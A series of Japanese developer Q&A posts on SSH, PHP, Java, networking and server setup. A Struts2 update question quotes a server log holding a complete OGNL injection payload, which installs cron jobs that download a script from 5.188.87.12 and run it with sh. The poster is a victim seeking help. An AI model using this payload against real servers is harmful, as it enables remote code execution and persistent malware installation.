常連

拍手喝采

sshしてから抜けるために`exit`するとなぜかフリーズします。
ansibleも使えません。(エラーが出ずにフリーズする。)
原因や、良い改善方法はないでしょうか。

## 実行環境
mac
iTerm2 ※TeraTermではありません
対象サーバ centos 6.3
openssh OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

## 試したこと
[sshのログオフでフリーズしてしまう](http://www.itmedia.co.jp/help/tips/linux/l0446.html)を参考に
`$ sleep 20 & exit`
を実行してみたら抜けられました。が、再びサーバにsshしてps auxでプロセスを確認すると中途半端に残っているようでした。
```lang-text
[user@hoge ~]# sleep 20 & exit
[1] 30807
logout
Connection to hoge closed.
~
[user@hoge ~]# ps aux | grep 30807
user     30807  0.0  0.0      0     0 ?        D    16:06   0:00 [sleep]
```

またここで書いてある内容が理解できず、解決策もリスクがありそうなので試せません...

## 追記
* 「？何がフリーズするのでしょうか」
ターミナルがフリーズします。引き続きコマンドなどの入力ができなくなります。
ローカルmacでiterm2を開き、問題のサーバへssh接続します。接続は問題なく行われるのですが、sshをexitしてローカルmacでの作業を再開させようとexit入力してenterを押すと、iterm2が一切操作できなくなります。enterを押してもctrl+cしても反応がありません。
またこの症状はmacのデフォルトのターミナルでも同じように再現されました。さらに他の開発メンバーからも同じ症状があったと聞いたので、おそらくターミナルの問題ではなくリモートサーバ側の問題かと思われます。

*フリーズした状態で別の画面からssh接続はできました。
ただ同じようにexitするとターミナルが動かなくなってしまい、一旦ターミナルのそのウィンドウを閉じて開き直さなければならなくなります。

## 追記②
今発見したのですが、別のユーザでsshログインしてexitしたら、問題なく戻ってこれました。
特定のユーザだけそうなっているみたいです。
基本そのユーザでログインするようになっているので、十数人が使っていることが問題と関係あったりするのでしょうか...

exitするとフリーズする

サイトにアクセスすると、ログインなどをすると思うのですが、ログインページのURLを見てみると、`https:ドメイン/login`とよくみると思うのですが、自分のサイトの場合だと、`https:ドメイン/login.php`となります。
これを前者の表示にするには、ドキュメントルートにloginディレクトリを作成し、その中のindex.phpファイルに記述する方法の他に方法はありますか？

サイトなどで表示が異なるURLのバー表示

ルータは異なるネットワークのノードと通信できる機器であり、
ルーティングテーブルのNW,NHをもとににバケツリレーのように目的のIPアドレスまでデータを送信し続けるしくみだと認識しております。

目的のIPアドレスがルーティングテーブル内に存在しないため、
ルータからデフォルトルート⇒インターネットに行きその後、目的のIPアドレスにたどりつくまでの流れを教えて頂きたいです。

インターネットに行かないまでのルータの処理については把握しています。

インターネットから外部のipアドレスへたどりつくまでの流れ

# 質問

**サイトA**: HTTPでの通信
**サイトB**: 自己署名証明書のHTTPSでの通信

のサイトAとサイトBのどちらがセキュアといえるか？
という質問です。

# 質問背景

個人的にはサイトBの「HTTPSだけど証明書が自己署名証明書」方がセキュアなのではないかと考えています。
なぜなら、自己署名証明書の問題はHTTP通信でも抱えている問題だと思うからです。

ですが、**ChromeなどブラウザではHTTPはほとんど警告なしに表示するのに、証明書が信頼できないものは過剰な警告を出す**ので、
Chromeが「HTTPのほうがマシ（よりセキュア）」と言っているようなきがするのです。
こういう背景で質問して、スッキリしたいと思いました。



私の自己署名証明書の問題点の理解は、以下のサイトからです。

Qiita記事: [オレオレ証明書を使いたがる人を例を用いて説得する](http://qiita.com/Sheile/items/dc91128e8918fc823562)
から引用させていただくと、

> 1. 暗号化。サーバ側とクライアント側で暗号化／復号化を行うことにより、通信経路上での盗聴・改竄を防ぎます。

> 2. 通信相手が正しいことの保障。DNS cache poisoningや、MITM(Man in the middle)によるSSL終端など、攻撃者によって通信相手が変更された場合に警告を表示することで、攻撃者による盗聴・改竄を防ぎます。

> 3. 改竄の検出。サーバ側で証明書を使って署名することで、通信経路上で改竄された場合にもクライアント側で受信した際に改竄を検出することができます。

1は自己署名証明書でも可能
2, 3は自己署名証明書では問題になる

どっちがセキュアですか？「HTTP」と「オレオレ証明書のHTTPS」

どうもこんにちは。
先にお伝えしますと、この質問は技術的興味から来た質問です。
まず、HTMLのコードで以下の書き方をよく見かけます。
```HTML
<!doctype html>
<html>
<head>
    <link rel="stylesheet" href="http://example.com/">
    <meta charset="utf-8">
    <title></title>
</head>
<body>
<script src="http://example.com/"></script>
</body>
</html> 
```
このコードでscriptタグをbodyタグの下に書いている理由をご教授していただきたいということが今回の質問内容です。
稚拙な質問で恐縮ですが、よろしくおねがいします。

scriptタグはなんで通常bodyに書くのか。

CentOS 7.2 + Plesk 12
の環境で作成したバーチャルホストの１つで、PHPアプリケーションを開発中です。

課題は、以下のようなシンプルなコードです。

```PHP
$rss = file_get_contents('http://example.com/feed');
var_dump($rss);
```
※example.comは、自ホストです。実際には違うドメインです。

これのfile_get_contentsの返り値がfalseになってしまうので、解消したいです。

なお、以下は、期待通りに文字列が返ってきて、動作します。
```PHP
$rss = file_get_contents('https://www.yahoo.co.jp/');
var_dump($rss);
```
ホストが違えば問題ありませんので、php.iniの設定等ではないようです。

さらに確認したところ、ドメイン名（ホスト名）が、自ホストの時にfalseになることが分かりました。

そこで、以下のような記事をいくつか見つけ、/etc/hostsを確認してみました。
http://q.hatena.ne.jp/1202255873
しかし、確認したところ、すでに自ホストのローカルアドレスの設定は存在するようでした。

```
127.0.0.1       example.com
XXX.XXX.XXX.XXX    example.com
```
※Xは実際には数字

念のため、コマンドラインからwgetを実行してみました。
結果は以下のようになりました。

```
[root@example ~]# wget http://example.com/magazine/feed
--2017-12-11 16:37:38--  http://example.com/magazine/feed
Resolving example.com (example.com)... 127.0.0.1, XXX.XXX.XXX.XXX
Connecting to example.com (example.com)|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2017-12-11 16:37:38 ERROR 404: Not Found.
```

接続はできているが、404でした。
そこで、「example.com」のログを確認したところ、該当時刻にアクセスログはありませんでした。
さらに探したところ、デフォルトのログ（/var/log/httpd/access_log）にアクセスが出力されていました。

ということで、どうやら、
「自ホストを示すURLでアクセスしたとき、バーチャルホストの切り分けができず、デフォルトのドキュメントルートを参照している」
ということのようです。

調査方法を含め正しいのか不明ですが、こちらを解決できる（自ホスト内のバーチャルホストに対してHTTP経由で（url_fopenで）アクセスする）方法はありますでしょうか。

file_get_contentsで自ホスト宛のURLが開けない

javaの以下のコードで、postgresから最大の日付(型はcharacter(8)でyyyyMMdd形式)を取ろうとしたところ、
レコードの検索は成功するのですが、取れた日付がCharacter型の'2'だけでした。
pgAdminで同一SQLを実行したところ、結果はきちんと最大日付8桁取得出来ましたが、型はcharacter(8)でなくbpcharというものでした。

Max関数をSQLから外すと、Stringで8桁のyyyyMMddが取得できます。
どうすればStringで8桁の最大年月日が取得できるでしょうか？

【バージョン】
　Postgres：9.4
　Java　　：7

【postgres】
```sql
CREATE TABLE test
(
  ymd character(8) NOT NULL, -- 年月日(例：20171130)
)
WITH (
  OIDS=FALSE
);
ALTER TABLE test
  OWNER TO postgres;
```

【java】
```java
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.Id;
import javax.persistence.Table;
/**********************************/
/** エンティティ
/**********************************/
@Entity
@Table(name="test")
public class Test implements Serializable{
	/** 年月日 */
	@Column(name="ymd", nullable=false)
	private String ymd;

	/**
	 * 年月日を取得します。
	 * @return 年月日
	 */
	public String getYmd() {
	    return ymd;
	}
	/**
	 * 年月日を設定します。
	 * @param ymd 年月日
	 */
	public void setYmd(String ymd) {
	    this.ymd = ymd;
	}
}
```
```java
/**********************************/
/** 最大の年月日を取得する
/**********************************/
    @PersistenceContext
    private EntityManager manager;

	public String getMaxDate(){
		/***************/
		/** ＳＱＬ作成 */
		/***************/
		String query = "select MAX(t.ymd) from test t";
		/*************/
		/** 検索実行 */
		/*************/
		Query q = manager.createNativeQuery(query);
		List<Object[]> queryResultList = q.getResultList();

		return queryResultList.get(0)[0].toString();
	}
```

MAX関数を付けると1文字しか取得できない

netstatの結果だと、IPv6のport80はlistenしているが、IPv4のport80はlistenしていないように見えます。

```
# netstat -nat | grep -i listen
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:46391           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:35868           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:10050           0.0.0.0:*               LISTEN
tcp6       0      0 :::111                  :::*                    LISTEN
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
tcp6       0      0 :::25                   :::*                    LISTEN
tcp6       0      0 :::40415                :::*                    LISTEN
tcp6       0      0 :::10050                :::*                    LISTEN
tcp6       0      0 :::34343                :::*                    LISTEN
```

しかし、実際にIPv4のport80へアクセスすると、応答があります。

```
# curl 127.0.0.1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /
on this server.</p>
</body></html>
```

tcpdumpしてみましたが、実際にIPv4にて応答しているようです。
（以下の結果はIPv6でアクセスした後、IPv4でアクセスした結果です。）
```
# tcpdump -i lo port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
10:31:12.387377 IP6 localhost.53738 > localhost.http: Flags [S], seq 968427148, win 43690, options [mss 65476,sackOK,TS val 72593463 ecr 0,nop,wscale 7], length 0
00:22:33.663400 IP6 localhost.http > localhost.53738: Flags [S.], seq 1565811111, ack 968427149, win 43690, options [mss 65476,sackOK,TS val 72593463 ecr 72593463,nop,wscale 7], length 0
10:31:12.387407 IP6 localhost.53738 > localhost.http: Flags [.], ack 1, win 342, options [nop,nop,TS val 72593463 ecr 72593463], length 0
10:31:12.387473 IP6 localhost.53738 > localhost.http: Flags [P.], seq 1:74, ack 1, win 342, options [nop,nop,TS val 72593463 ecr 72593463], length 73: HTTP: GET / HTTP/1.1
10:31:12.387498 IP6 localhost.http > localhost.53738: Flags [.], ack 74, win 342, options [nop,nop,TS val 72593463 ecr 72593463], length 0
10:31:12.389620 IP6 localhost.http > localhost.53738: Flags [P.], seq 1:348, ack 74, win 342, options [nop,nop,TS val 72593465 ecr 72593463], length 347: HTTP: HTTP/1.1 403 Forbidden
10:31:12.389633 IP6 localhost.53738 > localhost.http: Flags [.], ack 348, win 350, options [nop,nop,TS val 72593466 ecr 72593465], length 0
10:31:12.390230 IP6 localhost.53738 > localhost.http: Flags [F.], seq 74, ack 348, win 350, options [nop,nop,TS val 72593466 ecr 72593465], length 0
10:31:12.391606 IP6 localhost.http > localhost.53738: Flags [F.], seq 348, ack 75, win 342, options [nop,nop,TS val 72593467 ecr 72593466], length 0
10:31:12.391643 IP6 localhost.53738 > localhost.http: Flags [.], ack 349, win 350, options [nop,nop,TS val 72593468 ecr 72593467], length 0
10:31:30.095105 IP localhost.34130 > localhost.http: Flags [S], seq 691767966, win 43690, options [mss 65495,sackOK,TS val 72611171 ecr 0,nop,wscale 7], length 0
21:30:08.961986 IP localhost.http > localhost.34130: Flags [S.], seq 4181075012, ack 691767967, win 43690, options [mss 65495,sackOK,TS val 72611171 ecr 72611171,nop,wscale 7], length 0
10:31:30.095157 IP localhost.34130 > localhost.http: Flags [.], ack 1, win 342, options [nop,nop,TS val 72611171 ecr 72611171], length 0
10:31:30.095797 IP localhost.34130 > localhost.http: Flags [P.], seq 1:74, ack 1, win 342, options [nop,nop,TS val 72611172 ecr 72611171], length 73: HTTP: GET / HTTP/1.1
10:31:30.095853 IP localhost.http > localhost.34130: Flags [.], ack 74, win 342, options [nop,nop,TS val 72611172 ecr 72611172], length 0
10:31:30.097912 IP localhost.http > localhost.34130: Flags [P.], seq 1:348, ack 74, win 342, options [nop,nop,TS val 72611174 ecr 72611172], length 347: HTTP: HTTP/1.1 403 Forbidden
10:31:30.097922 IP localhost.34130 > localhost.http: Flags [.], ack 348, win 350, options [nop,nop,TS val 72611174 ecr 72611174], length 0
10:31:30.099390 IP localhost.34130 > localhost.http: Flags [F.], seq 74, ack 348, win 350, options [nop,nop,TS val 72611175 ecr 72611174], length 0
10:31:30.099537 IP localhost.http > localhost.34130: Flags [F.], seq 348, ack 75, win 342, options [nop,nop,TS val 72611175 ecr 72611175], length 0
10:31:30.099561 IP localhost.34130 > localhost.http: Flags [.], ack 349, win 350, options [nop,nop,TS val 72611175 ecr 72611175], length 0
```

なぜIPv4にてport80へアクセスしても応答があるのでしょうか。
netstatで表示されていなくとも、応答可能な場合はあるのでしょうか。

よろしくお願いいたします。

IPv6でのみListenしているように見えるが、実際はIPv4でもアクセス出来るのはなぜでしょうか？

linux初心者で申し訳ないのですが、下記ディレクトリ構造に対応するようにするコマンドをご教授いただければ幸いです。

現在の階層
```
/hoge/www
/hoge/var
```
やりたいことwwwのディレクトリをvar配下へ階層を変更
```
/hoge/var/www
```
ググり方が悪いのかmvコマンドがでてきて、意図する動作をするコマンドが思いつきません。。。

linuxコマンドでフォルダの階層構造変更

###エラー内容

Error:SQLSTATE[42S22]: Column not found: 1054 Unknown column 'FriendId' in 'where clause'
というエラーになります。
なぜでしょうか？
よろしくお願いします。

###コード
```php
function db_connect(){
	$dsn = 'mysql:host=;dbname=;charset=utf8';
	$user = '';
	$password = '';
	
	try{
		$dbh = new PDO($dsn, $user, $password);
		return $dbh;
	}catch (PDOException $e){
	    	print('Error:'.$e->getMessage());
	    	die();
	}
}
$dbh = db_connect();
 

	try{
		//例外処理を投げる（スロー）ようにする
		$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
		
		//アカウントで検索
		$statement = $dbh->prepare("SELECT * FROM User WHERE UserId=:UserId AND FriendId= :FriendId");
		$statement->bindValue(':UserId', $userid, PDO::PARAM_STR);
$statement->bindValue(':FriendId', $Friend, PDO::PARAM_STR);
		$statement->execute();

```

SQLエラー　　Error:SQLSTATE[42S22]: Column not found: 1054 Unknown column

いつもお世話になってます。

タイトルの通りです。
先ほどnetstatを見ていたのですが、以下のような接続がありました。

```
Proto   Recv-Q    Send-Q          Local Address              Foreign Address                   State
tcp       0             0                   192.168.1.7:36534    skynet.darkstart.de:9001  ESTABLISHED 
tcp       0             0                   192.168.1.7:41532    navi.choasfield.at:ssh         ESTABLISHED
# 3つ目は記憶からなので曖昧
tcp       0             0                   192.168.1.7:xxxxx      cpan.pw:http                       ESTABLISHED          
```

これらのうち２番目と３番目はlinuxを再起動するたびに接続しているようです。
どれも自分はまったく身に覚えのないものです。

また、実際に3番目のcpan.pwというアドレスにchromeからアクセスしたみた（バカでした）のですが、不気味な画像とおどろおどろしい音楽が流れ、英語で「あなたをここに招待できて光栄だ」というようなメッセージが書かれており、明らかにハッカー（クラッカー）が作ったもののようで、chromeからは危険なサイトだと警告が出ました。

LocalAddressの欄のポートは大きいポートである上に再起動するたびに変わっているようですし、
自宅からネットを使っているので向こう側から接続してきたというわけではなさそうなので、
このマシンにはコネクションを開設しようとしているプロセスがあるということでしょうか。

一応、firewallは設定し直したのですが、自宅のネットワークにはこのlinuxの他
にmacやiphoneも繋いでいます。ただ、こちらはまだ調べていないのです。


linuxは使用をやめようと思いますが、何か変なプロセスがあるような場合どうしたらいいのでしょうか？

よろしくお願いします。

linux（mint）が怪しいコネクションを開設している

外部からVirtualBox内のWEBサーバ(CentOS7/Appach2.4.6)にアクセスできないのでアドバイスをお願いします。

■やったこと
(1)ホストOSはWindows10です。WindowsFireWallはポート8080を開放済みです
(2)VirtualBoxの１枚のネットワーク設定はNATで、オートフォーワーディングでHTTPの8080を80に変更する設定をしています。もう１枚のネットワーク設定はHostOnlyNetworkで追加しています。

■確認したこと
(1)ローカルからは以下のすべてのパターンでアクセス可能です
http://（192で始まるローカルアドレス）/ ← ゲストOSのもう１枚のネットワーク/HostOnlyNetworkのアドレス
http://（そのPC本体のDHCP配布のIPアドレス):8080/
http://（そのPC本体のPC名):8080/
→ポートフォーワーディングは成功している（？）
(2)リモートからは上記のすべてのパターンでアクセス不可です。
(3)リモートアクセスしているPCから対象のホストPCまで、tracertで調べたところホップ数は０であす。つまりアクセスする際にルータ等ははさんでいないと思われます。設置環境も同Windowsドメイン配下の隣のPCです。
(4)リモートアクセスしているPCからftpでポート開放の確認をしても8080は応答しません。80は応答します。

□追加確認
試験的に8081->22にポートフォーワーディングしてみたのですが、ローカルからは8081でsshアクセス可能で、リモートPCからはアクセス不可能などなど、HTTPとまったく同じ状況でした。

□追加情報
Windows7の環境で同じことをした場合、うまく行きました。Windows7とWindows10で、Windows Firewallの仕様や初期設定値に違いなどあるのかなぁとも考えています。

他に確認すべきことがあれば指摘ください。どうぞよろしくお願いします。

外部からVirtualBox内のサーバにアクセスできない

###前提・実現したいこと
エンジニア初心者です。お助けください。
悩んでいる部分は、ブラウザに表示されない点です。
2ヶ月ほど前にメンターさんの指導の元にLAMP環境を作りました(vagrantとvirtualBoxです)。そこにLaravelを入れて、オリジナルアプリケーションを作成していました。

本日久しぶりに、開発の続きをしようと
vagrant up
vagrant ssh
で仮想マシンに接続しました。
接続は出来たのですが、ブラウザに表示されなくて困っております。

###試したこと
考えられるミスとして
・Vagrantfileの記述ミス
・ipアドレスの間違い
・Apacheが起動していない
・firewalldが邪魔してる
が挙げられと思います。

ネットで可能なかぎり検索はしているのですが、解決しません。
ドットインストールの動画の手順で、CentOS7のboxを取得して、仮想マシンに接続しても、ブラウザに表示されませんでした。

2ヶ月前は出来ていたのに、出来ない点が腑に落ちず、解決できません。
何か知恵を授けてくれませんでしょうか？

vagrantでApache に接続されない。

try/catchの使い方なのですが。

下記はファイルをコピーペーストする関数になります。
処理が正常に行われたかを判断するためにtry/catchを使用したのですが、行数が倍くらいになりました。
処理結果が判断できて、かつ行数の少ない記述を考えています。

下記の様な行数の減らし方は思いつきました。
　・部分的にtry/catchを使用する。
　・void型にして関数の呼び出し元でtry/catchを使用する。
　・この関数に限って言えば、try/catchなしの関数を使用して、下記を追記する。
```java
if(!new File(pathTo).exists()){処理}
```

2番目が妥当でしょうか。
それとも可読性よりは機能性を優先した方が良いでしょうか。

--------------------------------------------------------------

try/catchなし
```java
    //ファイルコピー・貼り付け(try/chatchなし)
    private boolean CopyPaste(String pathFrom, String pathTo) throws IOException {

        //コピー元
        FileInputStream fileIn   = new FileInputStream(pathFrom);

        //コピー先
        FileOutputStream fileOut = new FileOutputStream(pathTo);

        // byte型の配列を宣言
        byte[] buf = new byte[256];
        int len;

        // ファイルの終わりまで読み込む
        while((len = fileIn.read(buf)) != -1){
            fileOut.write(buf,0,len);
        }

        //ファイルに内容を書き込む
        fileOut.flush();

        //ファイルの終了処理
        fileOut.close();
        fileIn.close();

        return true;
    }
```

--------------------------------------------------------------

try/catchあり
```java
    //ファイルコピー・貼り付け(try/catchあり)
    private boolean CopyPaste(String pathFrom, String pathTo) {

        boolean bl = false;

        FileInputStream fileIn   = null;
        FileOutputStream fileOut = null;

        //コピー元
        try {
            fileIn = new FileInputStream(pathFrom);
        } catch (FileNotFoundException e) {
            e.printStackTrace();
            return bl;
        }

        //コピー先
        try {
            fileOut = new FileOutputStream(pathTo);
        } catch (FileNotFoundException e) {
            e.printStackTrace();
            return bl;
        }

        // byte型の配列を宣言
        byte[] buf = new byte[256];
        int len;

        // ファイルの終わりまで読み込む
        try {
            while((len = fileIn.read(buf)) != -1){
                try {
                    fileOut.write(buf,0,len);
                } catch (IOException e) {
                    e.printStackTrace();
                    return bl;
                }
            }
        } catch (IOException e) {
            e.printStackTrace();
            return bl;
        }

        //ファイルに内容を書き込む
        try {
            fileOut.flush();
        } catch (IOException e) {
            e.printStackTrace();
            return bl;
        }

        //ファイルの終了処理
        try {
            fileOut.close();
        } catch (IOException e) {
            e.printStackTrace();
            return bl;
        }
        try {
            fileIn.close();
        } catch (IOException e) {
            e.printStackTrace();
            return bl;
        }

        return true;
    }
```

try/catchの使い方

ssh -v -i /Users/XXXXXXXX/Desktop/Mash/id_rsa sftp@XXX.XX.XXX>XXX

で接続しようとしましたが、できませんでした。

CENTOS 7です

debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 21: Applying options for *
debug1: Connecting to XXX.XX.XXX [XXX.xx.XXX.XXX] port 22.
debug1: Connection established.
debug1: permanently_set_uid: 0/0
debug1: key_load_public: No such file or directory
debug1: identity file /Users/XXXXXXXX/Desktop/Mash/id_rsa type -1
debug1: key_load_public: No such file or directory
debug1: identity file /Users/XXXXXXXXX/Desktop/Mash/id_rsa-cert type -1
debug1: Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_6.9
debug1: Remote protocol version 2.0, remote software version OpenSSH_6.6.1
debug1: match: OpenSSH_6.6.1 pat OpenSSH_6.6.1* compat 0x04000000
debug1: Authenticating to XXX.XX.XXX.XXX:22 as 'sftp'
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: server->client chacha20-poly1305@openssh.com <implicit> none
debug1: kex: client->server chacha20-poly1305@openssh.com <implicit> none
debug1: expecting SSH2_MSG_KEX_ECDH_REPLY
debug1: Server host key: ecdsa-sha2-nistp256 SHA256:YeklAEjYmSzd7GxHCfuSMGKnevRYwJ6HpzI7U5TTLWQ
debug1: Host 'XXX.XX.XXX.XXX' is known and matches the ECDSA host key.
debug1: Found key in /var/root/.ssh/known_hosts:1
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug1: SSH2_MSG_NEWKEYS received
debug1: SSH2_MSG_SERVICE_REQUEST sent
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic
debug1: Next authentication method: publickey
debug1: Trying private key: /Users/XXXXXXXX/Desktop/Mash/id_rsa
debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic
debug1: No more authentication methods to try.
Permission denied (publickey,gssapi-keyex,gssapi-with-mic).



また、サーバで公開鍵を作成し、authorized_keysには書き込んでいます。


以上　ヨロしくお願いします。

sshの接続ができない

###前提・実現したいこと
AWSで稼働しているWebアプリケーション（Linux・Java・Tomcat）があります。
私は、本番環境と同様の学習環境を構築して、学習中の初学者です。質問中の至らない点をお許しください。

本番環境と学習環境において、突発的に大量のネットワーク入力があった後、
Webアプリケーションが動作しなくなってしまう、という現象の調査を行っております。
（現象：Webページにアクセスすると、真っ白なページしか表示されない）

別のスレッド（https://teratail.com/questions/97607）で一般的な対策等について質問し、いただいた回答を参考に、
まずは現象前後のcatalina.outを調査してみようと考え、この質問に至ります。

catalina.out（詳細は下記をご参照ください）を見た結果、
Struts2の脆弱性が関係しているのではないか、との結論に至りました。

そこで、Struts2のアップデートを実施すべく、まずはダウンロードしたstruts2-core-2.3.34.jarを
eclipseのWEB-INF/libにコピーしてプロパティから指定してみたところ、
アプリケーションが起動しなくなってしまいました。

類似質問の
https://teratail.com/questions/38790
https://teratail.com/questions/38706
も拝見したのですが、私のスキルでは解決に至りませんでしたため、質問させていただきました。

よろしくお願いいたします。

###発生している問題・エラーメッセージ

```
org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn
WARNING: Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/11 * * * * wget -O - -q http://5.188.87.12/pics/logo.jpg|sh\n*/12 * * * * curl http://5.188.87.12/pics/logo.jpg|sh" | crontab -;wget -O - -q http://5.188.87.12/pics/logo.jpg|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
        at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:947)
        at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310)
        at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334)
        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:188)
        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
        at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:84)
        at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:838)
        at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:137)
        at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:91)
        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
        at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:218)
        at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:110)
        at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:506)
        at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:169)
        at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103)
        at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:962)
        at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)
        at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:445)
        at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1115)
        at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:637)
        at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:316)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622)
        at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
        at java.lang.Thread.run(Thread.java:748)
```

###WEB-INF/libの内容（サーバ）
```
antlr-2.7.2.jar
aopalliance-1.0.jar
asm-3.3.jar
asm-commons-3.3.jar
asm-tree-3.3.jar
commons-beanutils-1.8.0.jar
commons-collections-3.1.jar
commons-fileupload-1.3.1.jar
commons-io-2.2.jar
commons-lang-2.4.jar
commons-lang3-3.2.jar
commons-logging-1.1.3.jar
ezmorph-1.0.6.jar
freemarker-2.3.22.jar
javassist-3.11.0.GA.jar
json-lib-2.3-jdk15.jar
log4j-api-2.2.jar
log4j-core-2.2.jar
mail.jar
mybatis-3.3.0.jar
mybatis-spring-1.2.3.jar
ognl-3.0.6.jar
poi-3.13-20150929.jar
poi-ooxml-3.13-20150929.jar
poi-ooxml-schemas-3.13-20150929.jar
spring-aop-4.2.1.RELEASE.jar
spring-aspects-4.2.1.RELEASE.jar
spring-beans-4.2.1.RELEASE.jar
spring-context-4.2.1.RELEASE.jar
spring-context-support-4.2.1.RELEASE.jar
spring-core-4.2.1.RELEASE.jar
spring-expression-4.2.1.RELEASE.jar
spring-jdbc-4.2.1.RELEASE.jar
spring-orm-4.2.1.RELEASE.jar
spring-tx-4.2.1.RELEASE.jar
spring-web-4.2.1.RELEASE.jar
spring-webmvc-4.2.1.RELEASE.jar
struts2-core-2.3.24.jar
struts2-json-plugin-2.3.24.jar
struts2-spring-plugin-2.3.24.jar
xmlbeans-2.6.0.jar
xwork-core-2.3.24.jar
```

###試したこと
struts2-core-2.3.34.jarをeclipseのWEB-INF/libにコピーしてプロパティで指定

###補足情報(言語/FW/ツール等のバージョンなど)
WebアプリケーションはJavaを使用しております。

Struts2のアップデートを実施する方法を教えてください。

xampでmariadb10.2を使ったらエラーになりました。

どうすればいいのかわかりません、どなたかお願いします教えてください
エラーログ、start_mysql.batを実行したときの結果は文字数がだめだったので、回答に書きました。

mariadb、エラー

## お聞きしたいこと
CentOS7にて`sudo su -`を実行すると、`Last login: 日付 on pts/2`と標準出力されますが、
RedHatEnterpriseLinux6にて同様のコマンドを実行すると何も標準出力されません。
インターネットにて検索してみても、標準出力されない方法はみつけられたのですが、標準出力させる方法はありませんでした。

どなたかご存知の方教えていただけますでしょうか。

## 参考サイト
 - 標準出力しない方法
http://www.atmarkit.co.jp/flinux/rensai/linuxtips/172noshowloginmsg.html

rootユーザーにsuした際に標準出力される「Last login: ～」に関して

Spring Securityを拡張して「ユーザー名」「パスワード」のほかに「チームID」という文字列を認証処理の要素として追加したいのですが、ログイン後意図したURLに遷移せずに、ルート「"/"」に遷移して404エラーが発生してしまいます。(ログを見た感じだと認証自体は成功しているように見えます。)

一点気になっているのが、WebSecurityConfigクラスにてaddFilter()の記述を除外すると、意図したURLへ遷移します(ログイン中のユーザー情報を取得できずNullPointerExceptionが発生してしまいますが)

